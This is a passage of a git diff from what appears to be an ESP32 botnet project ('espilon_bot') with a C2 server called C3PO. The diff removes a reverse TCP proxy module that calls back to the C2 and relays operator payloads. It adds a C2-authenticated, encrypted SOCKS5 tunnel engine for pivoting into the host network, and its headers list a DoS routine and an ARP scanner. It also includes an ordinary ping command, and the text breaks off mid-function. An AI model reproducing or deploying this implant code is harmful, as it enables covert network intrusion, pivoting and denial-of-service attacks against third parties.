esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
|
||||
|
||||
char line[256];
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"--- %s ping statistics ---\n"
|
||||
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
|
||||
ipaddr_ntoa(&addr),
|
||||
(unsigned long)sent,
|
||||
(unsigned long)recv,
|
||||
loss,
|
||||
(unsigned long)duration
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, true, req);
|
||||
}
|
||||
|
||||
esp_ping_delete_session(hdl);
|
||||
free(ctx);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command entry point
|
||||
* ============================================================ */
|
||||
|
||||
int do_ping_cmd(int argc, char **argv, const char *req)
|
||||
{
|
||||
if (argc < 1) {
|
||||
msg_error(TAG,
|
||||
"usage: ping <host> [timeout interval size count ttl iface]",
|
||||
req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
|
||||
cfg.count = 4;
|
||||
cfg.timeout_ms = 1000;
|
||||
cfg.task_stack_size = 8192; /* default 2048 too small for msg_data→protobuf stack */
|
||||
|
||||
const char *host = argv[0];
|
||||
|
||||
/* Optional arguments */
|
||||
if (argc > 1) cfg.timeout_ms = atoi(argv[1]) * 1000;
|
||||
if (argc > 2) cfg.interval_ms = (uint32_t)(atof(argv[2]) * 1000);
|
||||
if (argc > 3) cfg.data_size = atoi(argv[3]);
|
||||
if (argc > 4) cfg.count = atoi(argv[4]);
|
||||
if (argc > 5) cfg.tos = atoi(argv[5]);
|
||||
if (argc > 6) cfg.ttl = atoi(argv[6]);
|
||||
|
||||
/* Resolve host */
|
||||
ip_addr_t target;
|
||||
memset(&target, 0, sizeof(target));
|
||||
|
||||
if (!ipaddr_aton(host, &target)) {
|
||||
struct addrinfo *res = NULL;
|
||||
|
||||
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
|
||||
msg_error(TAG, "unknown host", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV4
|
||||
if (res->ai_family == AF_INET) {
|
||||
inet_addr_to_ip4addr(
|
||||
ip_2_ip4(&target),
|
||||
&((struct sockaddr_in *)res->ai_addr)->sin_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV6
|
||||
if (res->ai_family == AF_INET6) {
|
||||
inet6_addr_to_ip6addr(
|
||||
ip_2_ip6(&target),
|
||||
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
freeaddrinfo(res);
|
||||
}
|
||||
|
||||
cfg.target_addr = target;
|
||||
|
||||
/* Heap-allocate context for callbacks (freed in ping_on_end) */
|
||||
ping_ctx_t *ctx = calloc(1, sizeof(ping_ctx_t));
|
||||
if (ctx && req) {
|
||||
snprintf(ctx->req, sizeof(ctx->req), "%s", req);
|
||||
}
|
||||
|
||||
esp_ping_callbacks_t cbs = {
|
||||
.on_ping_success = ping_on_success,
|
||||
.on_ping_timeout = ping_on_timeout,
|
||||
.on_ping_end = ping_on_end,
|
||||
.cb_args = ctx
|
||||
};
|
||||
|
||||
esp_ping_handle_t ping;
|
||||
esp_ping_new_session(&cfg, &cbs, &ping);
|
||||
esp_ping_start(ping);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@ -1,200 +0,0 @@
|
||||
/*
|
||||
* Eun0us - Reverse TCP Proxy Module
|
||||
* Clean & stream-based implementation
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "PROXY"
|
||||
|
||||
#define MAX_PROXY_RETRY 10
|
||||
#define RETRY_DELAY_MS 5000
|
||||
#define CMD_BUF_SIZE 256
|
||||
#define RX_BUF_SIZE 1024
|
||||
|
||||
int proxy_running = 0;
|
||||
static int cc_client = -1;
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Replace escaped \r \n */
|
||||
static void unescape_payload(const char *src, char *dst, size_t max_len)
|
||||
{
|
||||
size_t i = 0, j = 0;
|
||||
while (src[i] && j < max_len - 1) {
|
||||
if (src[i] == '\\' && src[i + 1] == 'r') {
|
||||
dst[j++] = '\r';
|
||||
i += 2;
|
||||
} else if (src[i] == '\\' && src[i + 1] == 'n') {
|
||||
dst[j++] = '\n';
|
||||
i += 2;
|
||||
} else {
|
||||
dst[j++] = src[i++];
|
||||
}
|
||||
}
|
||||
dst[j] = '\0';
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Proxy command handler task
|
||||
* ============================================================ */
|
||||
|
||||
static void proxy_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
char cmd[CMD_BUF_SIZE];
|
||||
|
||||
msg_info(TAG, "proxy handler started", NULL);
|
||||
|
||||
while (proxy_running) {
|
||||
|
||||
int len = recv(cc_client, cmd, sizeof(cmd) - 1, 0);
|
||||
if (len <= 0) {
|
||||
msg_error(TAG, "connection closed", NULL);
|
||||
break;
|
||||
}
|
||||
cmd[len] = '\0';
|
||||
|
||||
/* Format: ip:port|payload */
|
||||
char *sep_ip = strchr(cmd, ':');
|
||||
char *sep_pay = strchr(cmd, '|');
|
||||
|
||||
if (!sep_ip || !sep_pay || sep_pay <= sep_ip) {
|
||||
msg_error(TAG, "invalid command format", NULL);
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Extract IP */
|
||||
char ip[64];
|
||||
size_t ip_len = sep_ip - cmd;
|
||||
if (ip_len >= sizeof(ip)) {
|
||||
msg_error(TAG, "ip too long", NULL);
|
||||
continue;
|
||||
}
|
||||
memcpy(ip, cmd, ip_len);
|
||||
ip[ip_len] = '\0';
|
||||
|
||||
/* Extract port */
|
||||
int port = atoi(sep_ip + 1);
|
||||
if (port <= 0 || port > 65535) {
|
||||
msg_error(TAG, "invalid port", NULL);
|
||||
continue;
|
||||
}
|
||||
|
||||
const char *payload_escaped = sep_pay + 1;
|
||||
|
||||
char info_msg[96];
|
||||
snprintf(info_msg, sizeof(info_msg),
|
||||
"proxying to %s:%d", ip, port);
|
||||
msg_info(TAG, info_msg, NULL);
|
||||
|
||||
/* Destination socket */
|
||||
int dst = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (dst < 0) {
|
||||
msg_error(TAG, "socket failed", NULL);
|
||||
continue;
|
||||
}
|
||||
|
||||
struct sockaddr_in addr = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
.sin_addr.s_addr = inet_addr(ip),
|
||||
};
|
||||
|
||||
struct timeval timeout = { .tv_sec = 5, .tv_usec = 0 };
|
||||
setsockopt(dst, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
|
||||
setsockopt(dst, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout));
|
||||
|
||||
if (connect(dst, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
||||
msg_error(TAG, "connect failed", NULL);
|
||||
close(dst);
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Send payload */
|
||||
char payload[RX_BUF_SIZE];
|
||||
unescape_payload(payload_escaped, payload, sizeof(payload));
|
||||
send(dst, payload, strlen(payload), 0);
|
||||
|
||||
/* Receive response (stream) */
|
||||
char rx[RX_BUF_SIZE];
|
||||
while ((len = recv(dst, rx, sizeof(rx), 0)) > 0) {
|
||||
msg_data(TAG, rx, len, false, NULL);
|
||||
}
|
||||
|
||||
/* End of stream */
|
||||
msg_data(TAG, NULL, 0, true, NULL);
|
||||
|
||||
close(dst);
|
||||
}
|
||||
|
||||
close(cc_client);
|
||||
cc_client = -1;
|
||||
proxy_running = 0;
|
||||
|
||||
msg_info(TAG, "proxy stopped", NULL);
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
void init_proxy(char *ip, int port)
|
||||
{
|
||||
struct sockaddr_in server = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
.sin_addr.s_addr = inet_addr(ip),
|
||||
};
|
||||
|
||||
for (int retry = 0; retry < MAX_PROXY_RETRY; retry++) {
|
||||
|
||||
cc_client = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (cc_client < 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS));
|
||||
continue;
|
||||
}
|
||||
|
||||
msg_info(TAG, "connecting to C2...", NULL);
|
||||
|
||||
if (connect(cc_client,
|
||||
(struct sockaddr *)&server,
|
||||
sizeof(server)) == 0) {
|
||||
|
||||
proxy_running = 1;
|
||||
xTaskCreate(
|
||||
proxy_task,
|
||||
"proxy_task",
|
||||
8192,
|
||||
NULL,
|
||||
5,
|
||||
NULL
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
close(cc_client);
|
||||
vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS));
|
||||
}
|
||||
|
||||
msg_error(TAG, "unable to connect to C2", NULL);
|
||||
}
|
||||
|
||||
@ -1,3 +1,5 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
// dos.c
|
||||
void start_dos(const char *t_ip, uint16_t t_port, int turn);
|
||||
@ -6,7 +8,4 @@ void start_dos(const char *t_ip, uint16_t t_port, int turn);
|
||||
void arp_scan_task(void *pvParameters);
|
||||
|
||||
// ping.c
|
||||
int do_ping_cmd(int argc, char **argv);
|
||||
|
||||
// proxy.c
|
||||
void init_proxy(char *ip, int port);
|
||||
int do_ping_cmd(int argc, char **argv, const char *req);
|
||||
|
||||
795
espilon_bot/components/mod_network/tun_core.c
Normal file
795
espilon_bot/components/mod_network/tun_core.c
Normal file
@ -0,0 +1,795 @@
|
||||
/*
|
||||
* tun_core.c – SOCKS5 Tunnel Engine
|
||||
* Multiplexed binary-framed TCP proxy via C3PO.
|
||||
* Replaces the old mod_proxy single-shot relay.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/select.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_random.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "tun_core.h"
|
||||
|
||||
#define TAG "TUNNEL"
|
||||
|
||||
/* ============================================================
|
||||
* Global state
|
||||
* ============================================================ */
|
||||
|
||||
static tun_state_t g_tun = {
|
||||
.running = false,
|
||||
.encrypted = false,
|
||||
.c3po_sock = -1,
|
||||
.rx_buf_len = 0,
|
||||
.task_handle = NULL,
|
||||
.last_ping_tick = 0,
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Socket helpers
|
||||
* ============================================================ */
|
||||
|
||||
static bool send_all(int sock, const void *buf, size_t len)
|
||||
{
|
||||
const uint8_t *p = (const uint8_t *)buf;
|
||||
while (len > 0) {
|
||||
int sent = send(sock, p, len, 0);
|
||||
if (sent <= 0) return false;
|
||||
p += sent;
|
||||
len -= sent;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static int recv_exact(int sock, void *buf, size_t len, int timeout_s)
|
||||
{
|
||||
struct timeval tv = { .tv_sec = timeout_s, .tv_usec = 0 };
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
uint8_t *p = (uint8_t *)buf;
|
||||
size_t remaining = len;
|
||||
while (remaining > 0) {
|
||||
int n = recv(sock, p, remaining, 0);
|
||||
if (n <= 0) return -1;
|
||||
p += n;
|
||||
remaining -= n;
|
||||
}
|
||||
return (int)len;
|
||||
}
|
||||
|
||||
static bool set_nonblocking(int sock)
|
||||
{
|
||||
int flags = fcntl(sock, F_GETFL, 0);
|
||||
if (flags < 0) return false;
|
||||
return fcntl(sock, F_SETFL, flags | O_NONBLOCK) == 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Frame I/O
|
||||
* ============================================================ */
|
||||
|
||||
static bool tun_send_frame(uint16_t chan_id, tun_frame_type_t type,
|
||||
const uint8_t *data, uint16_t data_len)
|
||||
{
|
||||
if (g_tun.c3po_sock < 0) return false;
|
||||
|
||||
uint8_t hdr[TUN_FRAME_HDR_SIZE];
|
||||
hdr[0] = (chan_id >> 8) & 0xFF;
|
||||
hdr[1] = chan_id & 0xFF;
|
||||
hdr[2] = (uint8_t)type;
|
||||
hdr[3] = (data_len >> 8) & 0xFF;
|
||||
hdr[4] = data_len & 0xFF;
|
||||
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
if (g_tun.encrypted) {
|
||||
/* Assemble plaintext frame */
|
||||
uint8_t plain[TUN_FRAME_MAX_PLAIN];
|
||||
memcpy(plain, hdr, TUN_FRAME_HDR_SIZE);
|
||||
if (data && data_len > 0) {
|
||||
memcpy(plain + TUN_FRAME_HDR_SIZE, data, data_len);
|
||||
}
|
||||
size_t plain_len = TUN_FRAME_HDR_SIZE + data_len;
|
||||
|
||||
/* Encrypt: nonce[12] || ciphertext || tag[16] */
|
||||
uint8_t enc[TUN_FRAME_MAX_ENC];
|
||||
int enc_len = crypto_encrypt(plain, plain_len,
|
||||
enc + 2, sizeof(enc) - 2);
|
||||
if (enc_len < 0) {
|
||||
ESP_LOGE(TAG, "frame encrypt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Prepend 2-byte length */
|
||||
enc[0] = (enc_len >> 8) & 0xFF;
|
||||
enc[1] = enc_len & 0xFF;
|
||||
|
||||
return send_all(g_tun.c3po_sock, enc, 2 + enc_len);
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Plaintext: header + data */
|
||||
if (!send_all(g_tun.c3po_sock, hdr, TUN_FRAME_HDR_SIZE))
|
||||
return false;
|
||||
if (data && data_len > 0) {
|
||||
if (!send_all(g_tun.c3po_sock, data, data_len))
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Returns 0 on success, -1 on error, 1 if no complete frame yet */
|
||||
static int tun_read_frame(uint16_t *out_chan, tun_frame_type_t *out_type,
|
||||
uint8_t *out_data, uint16_t *out_len)
|
||||
{
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
if (g_tun.encrypted) {
|
||||
/* Need at least 2 bytes for length prefix */
|
||||
if (g_tun.rx_buf_len < 2) return 1;
|
||||
|
||||
uint16_t enc_len = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
|
||||
if (enc_len > TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD) return -1;
|
||||
|
||||
size_t total = 2 + enc_len;
|
||||
if (g_tun.rx_buf_len < total) return 1;
|
||||
|
||||
/* Decrypt */
|
||||
uint8_t plain[TUN_FRAME_MAX_PLAIN];
|
||||
int plain_len = crypto_decrypt(g_tun.rx_buf + 2, enc_len,
|
||||
plain, sizeof(plain));
|
||||
if (plain_len < TUN_FRAME_HDR_SIZE) {
|
||||
/* Consume and discard bad frame */
|
||||
g_tun.rx_buf_len -= total;
|
||||
if (g_tun.rx_buf_len > 0)
|
||||
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
*out_chan = ((uint16_t)plain[0] << 8) | plain[1];
|
||||
*out_type = (tun_frame_type_t)plain[2];
|
||||
*out_len = ((uint16_t)plain[3] << 8) | plain[4];
|
||||
|
||||
if (*out_len > (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE))
|
||||
*out_len = (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE);
|
||||
|
||||
if (*out_len > 0)
|
||||
memcpy(out_data, plain + TUN_FRAME_HDR_SIZE, *out_len);
|
||||
|
||||
g_tun.rx_buf_len -= total;
|
||||
if (g_tun.rx_buf_len > 0)
|
||||
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Plaintext: need at least 5-byte header */
|
||||
if (g_tun.rx_buf_len < TUN_FRAME_HDR_SIZE) return 1;
|
||||
|
||||
*out_chan = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
|
||||
*out_type = (tun_frame_type_t)g_tun.rx_buf[2];
|
||||
*out_len = ((uint16_t)g_tun.rx_buf[3] << 8) | g_tun.rx_buf[4];
|
||||
|
||||
if (*out_len > TUN_FRAME_MAX_DATA) return -1;
|
||||
|
||||
size_t total = TUN_FRAME_HDR_SIZE + *out_len;
|
||||
if (g_tun.rx_buf_len < total) return 1;
|
||||
|
||||
if (*out_len > 0)
|
||||
memcpy(out_data, g_tun.rx_buf + TUN_FRAME_HDR_SIZE, *out_len);
|
||||
|
||||
g_tun.rx_buf_len -= total;
|
||||
if (g_tun.rx_buf_len > 0)
|
||||
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Channel management
|
||||
* ============================================================ */
|
||||
|
||||
static tun_channel_t *chan_get(uint16_t id)
|
||||
{
|
||||
if (id == 0 || id > TUN_MAX_CHANNELS) return NULL;
|
||||
return &g_tun.channels[id - 1];
|
||||
}
|
||||
|
||||
static void chan_close(uint16_t id, uint8_t reason)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(id);
|
||||
if (!ch || ch->state == CHAN_FREE) return;
|
||||
|
||||
if (ch->sock >= 0) {
|
||||
close(ch->sock);
|
||||
ch->sock = -1;
|
||||
}
|
||||
|
||||
/* Notify C3PO */
|
||||
tun_send_frame(id, TUN_FRAME_CLOSE, &reason, 1);
|
||||
|
||||
ESP_LOGI(TAG, "chan %u closed (reason=%u tx=%"PRIu32" rx=%"PRIu32")",
|
||||
id, reason, ch->bytes_tx, ch->bytes_rx);
|
||||
|
||||
ch->state = CHAN_FREE;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
}
|
||||
|
||||
static void chan_close_all(void)
|
||||
{
|
||||
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
|
||||
tun_channel_t *ch = chan_get(i);
|
||||
if (ch && ch->state != CHAN_FREE) {
|
||||
if (ch->sock >= 0) {
|
||||
close(ch->sock);
|
||||
ch->sock = -1;
|
||||
}
|
||||
ch->state = CHAN_FREE;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void chan_send_error(uint16_t id, const char *msg)
|
||||
{
|
||||
tun_send_frame(id, TUN_FRAME_ERROR,
|
||||
(const uint8_t *)msg, (uint16_t)strlen(msg));
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Frame handlers
|
||||
* ============================================================ */
|
||||
|
||||
/* OPEN payload: [IPv4:4][port:2][domain_len:1][domain:0-255] */
|
||||
static void tun_handle_open(uint16_t chan_id, const uint8_t *data, uint16_t len)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(chan_id);
|
||||
if (!ch) {
|
||||
chan_send_error(chan_id, "invalid channel id");
|
||||
return;
|
||||
}
|
||||
if (ch->state != CHAN_FREE) {
|
||||
chan_send_error(chan_id, "channel in use");
|
||||
return;
|
||||
}
|
||||
if (len < 7) {
|
||||
chan_send_error(chan_id, "OPEN too short");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Parse target address */
|
||||
uint32_t ipv4_raw;
|
||||
memcpy(&ipv4_raw, data, 4);
|
||||
uint16_t port = ((uint16_t)data[4] << 8) | data[5];
|
||||
uint8_t domain_len = data[6];
|
||||
|
||||
struct sockaddr_in target = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
};
|
||||
|
||||
/* Try domain resolution first (ESP32-side, sees target network DNS) */
|
||||
if (domain_len > 0 && len >= (uint16_t)(7 + domain_len)) {
|
||||
char domain[256];
|
||||
memcpy(domain, data + 7, domain_len);
|
||||
domain[domain_len] = '\0';
|
||||
|
||||
struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
|
||||
struct addrinfo *result = NULL;
|
||||
|
||||
ESP_LOGD(TAG, "chan %u resolving %s", chan_id, domain);
|
||||
|
||||
if (getaddrinfo(domain, NULL, &hints, &result) == 0 && result) {
|
||||
struct sockaddr_in *addr = (struct sockaddr_in *)result->ai_addr;
|
||||
target.sin_addr = addr->sin_addr;
|
||||
freeaddrinfo(result);
|
||||
} else {
|
||||
if (result) freeaddrinfo(result);
|
||||
/* Fallback to provided IPv4 */
|
||||
target.sin_addr.s_addr = ipv4_raw;
|
||||
}
|
||||
} else {
|
||||
target.sin_addr.s_addr = ipv4_raw;
|
||||
}
|
||||
|
||||
/* Create socket and start non-blocking connect */
|
||||
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (s < 0) {
|
||||
chan_send_error(chan_id, "socket() failed");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Set connect timeout */
|
||||
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
char ip_str[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &target.sin_addr, ip_str, sizeof(ip_str));
|
||||
ESP_LOGI(TAG, "chan %u connecting to %s:%u", chan_id, ip_str, port);
|
||||
|
||||
if (connect(s, (struct sockaddr *)&target, sizeof(target)) != 0) {
|
||||
ESP_LOGW(TAG, "chan %u connect failed: %s", chan_id, strerror(errno));
|
||||
close(s);
|
||||
chan_send_error(chan_id, "connect failed");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Set non-blocking after connect succeeds */
|
||||
set_nonblocking(s);
|
||||
|
||||
ch->sock = s;
|
||||
ch->state = CHAN_OPEN;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
|
||||
/* Send OPEN_OK */
|
||||
tun_send_frame(chan_id, TUN_FRAME_OPEN_OK, NULL, 0);
|
||||
ESP_LOGI(TAG, "chan %u opened -> %s:%u", chan_id, ip_str, port);
|
||||
}
|
||||
|
||||
static void tun_handle_data(uint16_t chan_id, const uint8_t *data, uint16_t len)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(chan_id);
|
||||
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) return;
|
||||
|
||||
/* Temporarily set blocking for reliable send */
|
||||
int flags = fcntl(ch->sock, F_GETFL, 0);
|
||||
fcntl(ch->sock, F_SETFL, flags & ~O_NONBLOCK);
|
||||
|
||||
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
|
||||
setsockopt(ch->sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
const uint8_t *p = data;
|
||||
size_t remaining = len;
|
||||
while (remaining > 0) {
|
||||
int sent = send(ch->sock, p, remaining, 0);
|
||||
if (sent <= 0) {
|
||||
ESP_LOGW(TAG, "chan %u send error", chan_id);
|
||||
chan_close(chan_id, TUN_CLOSE_RESET);
|
||||
return;
|
||||
}
|
||||
p += sent;
|
||||
remaining -= sent;
|
||||
}
|
||||
ch->bytes_tx += len;
|
||||
|
||||
/* Restore non-blocking */
|
||||
fcntl(ch->sock, F_SETFL, flags);
|
||||
}
|
||||
|
||||
static void tun_handle_close(uint16_t chan_id)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(chan_id);
|
||||
if (!ch || ch->state == CHAN_FREE) return;
|
||||
|
||||
if (ch->sock >= 0) {
|
||||
close(ch->sock);
|
||||
ch->sock = -1;
|
||||
}
|
||||
ESP_LOGI(TAG, "chan %u closed by C3PO (tx=%"PRIu32" rx=%"PRIu32")",
|
||||
chan_id, ch->bytes_tx, ch->bytes_rx);
|
||||
ch->state = CHAN_FREE;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
}
|
||||
|
||||
static void tun_handle_ping(const uint8_t *data, uint16_t len)
|
||||
{
|
||||
/* Echo back as PONG on channel 0 (control) */
|
||||
tun_send_frame(0, TUN_FRAME_PONG, data, len);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Authentication
|
||||
* ============================================================ */
|
||||
|
||||
static bool tun_authenticate(int sock)
|
||||
{
|
||||
/*
|
||||
* Send: magic[4] + flags[1] + device_id_len[1] + device_id[N]
|
||||
* + encrypted("espilon-tunnel-v1")
|
||||
*
|
||||
* Encrypted token = nonce[12] + ciphertext[17] + tag[16] = 45 bytes
|
||||
* C3PO verifies by decrypting with the device's derived key.
|
||||
*/
|
||||
|
||||
const char *dev_id = CONFIG_DEVICE_ID;
|
||||
size_t id_len = strlen(dev_id);
|
||||
|
||||
/* Encrypt auth token */
|
||||
uint8_t enc_token[TUN_AUTH_TOKEN_LEN + TUN_CRYPTO_OVERHEAD];
|
||||
int enc_len = crypto_encrypt(
|
||||
(const uint8_t *)TUN_AUTH_TOKEN, TUN_AUTH_TOKEN_LEN,
|
||||
enc_token, sizeof(enc_token)
|
||||
);
|
||||
if (enc_len < 0) {
|
||||
ESP_LOGE(TAG, "auth token encrypt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Build handshake: magic + flags + id_len + id + encrypted_token */
|
||||
uint8_t flags = 0;
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
flags |= 0x01; /* Request AEAD mode */
|
||||
#endif
|
||||
|
||||
size_t total = TUN_MAGIC_LEN + 1 + 1 + id_len + enc_len;
|
||||
uint8_t *pkt = malloc(total);
|
||||
if (!pkt) return false;
|
||||
|
||||
size_t off = 0;
|
||||
memcpy(pkt + off, TUN_MAGIC, TUN_MAGIC_LEN); off += TUN_MAGIC_LEN;
|
||||
pkt[off++] = flags;
|
||||
pkt[off++] = (uint8_t)id_len;
|
||||
memcpy(pkt + off, dev_id, id_len); off += id_len;
|
||||
memcpy(pkt + off, enc_token, enc_len);
|
||||
|
||||
bool ok = send_all(sock, pkt, total);
|
||||
free(pkt);
|
||||
|
||||
if (!ok) {
|
||||
ESP_LOGE(TAG, "auth handshake send failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Wait for response: 1 byte (0x00 = OK, 0x01 = FAILED) */
|
||||
uint8_t resp;
|
||||
if (recv_exact(sock, &resp, 1, TUN_CONNECT_TIMEOUT_S) < 0) {
|
||||
ESP_LOGE(TAG, "auth response timeout");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (resp != 0x00) {
|
||||
ESP_LOGE(TAG, "auth rejected (0x%02x)", resp);
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "authenticated (flags=0x%02x)", flags);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Main select() loop
|
||||
* ============================================================ */
|
||||
|
||||
static void tun_dispatch_frames(void)
|
||||
{
|
||||
uint16_t chan_id;
|
||||
tun_frame_type_t type;
|
||||
uint8_t frame_data[TUN_FRAME_MAX_DATA];
|
||||
uint16_t frame_len;
|
||||
|
||||
while (true) {
|
||||
int rc = tun_read_frame(&chan_id, &type, frame_data, &frame_len);
|
||||
if (rc == 1) break; /* Incomplete frame, need more data */
|
||||
if (rc == -1) {
|
||||
ESP_LOGW(TAG, "bad frame, skipping");
|
||||
continue;
|
||||
}
|
||||
|
||||
switch (type) {
|
||||
case TUN_FRAME_OPEN:
|
||||
tun_handle_open(chan_id, frame_data, frame_len);
|
||||
break;
|
||||
case TUN_FRAME_DATA:
|
||||
tun_handle_data(chan_id, frame_data, frame_len);
|
||||
break;
|
||||
case TUN_FRAME_CLOSE:
|
||||
tun_handle_close(chan_id);
|
||||
break;
|
||||
case TUN_FRAME_PING:
|
||||
tun_handle_ping(frame_data, frame_len);
|
||||
break;
|
||||
case TUN_FRAME_PONG:
|
||||
/* Received pong, tunnel is alive - nothing to do */
|
||||
break;
|
||||
default:
|
||||
ESP_LOGW(TAG, "unknown frame type 0x%02x", type);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Connect + authenticate to C3PO tunnel server. Returns socket or -1. */
|
||||
static int tun_connect_and_auth(void)
|
||||
{
|
||||
struct sockaddr_in server = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(g_tun.c3po_port),
|
||||
.sin_addr.s_addr = inet_addr(g_tun.c3po_ip),
|
||||
};
|
||||
|
||||
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (s < 0) return -1;
|
||||
|
||||
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
